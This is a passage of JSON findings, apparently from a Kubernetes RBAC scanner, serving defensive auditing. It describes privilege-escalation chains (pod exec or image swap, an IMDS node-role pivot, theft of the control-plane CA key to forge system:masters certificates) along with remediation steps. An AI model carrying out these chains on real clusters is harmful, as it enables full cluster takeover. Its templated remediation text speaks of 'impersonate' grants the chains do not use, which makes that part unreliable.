        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "foothold-reader-secrets",
        "source_role": "foothold-reader-secrets",
        "binding_namespace": "kube-system"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/foothold-ops/foothold-named-execer:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 7.8999999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-named-execer` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-named-execer` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n  3. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-named-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-named-execer` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-ops/foothold-named-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-named-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-reader` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-named-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "foothold-named-execer",
        "source_role": "foothold-named-execer",
        "binding_namespace": "foothold-exec"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/imgswap-fixtures/imgswap-patcher:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 7.8999999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-patcher` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-patcher` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader` via `pod_image_hijack` (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n  3. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-patcher",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/imgswap-fixtures/imgswap-patcher`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-patcher`, the attacker uses `update`/`patch` on `pods` (`get,list,patch pods`) to change the container image of a pod running as `ServiceAccount/imgswap-fixtures/imgswap-reader`. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_image_hijack [get,list,patch pods]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_image_hijack",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_image_hijack",
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_image_hijack",
        "technique": "KUBE-PRIVESC-034",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-patcher",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "permission": "get,list,patch pods",
        "gains": "can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them",
        "source_binding": "imgswap-pod-patcher",
        "source_role": "imgswap-pod-patcher",
        "binding_namespace": "imgswap-fixtures"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:User/gw-deployer:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 7.8999999999999995,
    "category": "privilege_escalation",
    "title": "`User/gw-deployer` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `User/gw-deployer` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_create_token_theft` (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  3. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "User",
      "name": "gw-deployer"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-deployer` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `User/gw-deployer`.",
      "Acting as `User/gw-deployer`, the attacker creates a workload (`create deployments`) whose pod template runs as `ServiceAccount/gw-workloads/gw-web-sa`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-deployer"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "create deployments",
        "gains": "can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-deployer",
        "source_role": "gw-deployer",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:User/gw-patcher:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 7.8999999999999995,
    "category": "privilege_escalation",
    "title": "`User/gw-patcher` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `User/gw-patcher` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_hijack` (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  3. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "User",
      "name": "gw-patcher"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-patcher` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `User/gw-patcher`.",
      "Acting as `User/gw-patcher`, the attacker rewrites the pod template of an existing workload (`patch deployments`) so that its pods run the attacker's code as `ServiceAccount/gw-workloads/gw-web-sa`. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_hijack [patch deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "workload_hijack",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "workload_hijack",
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
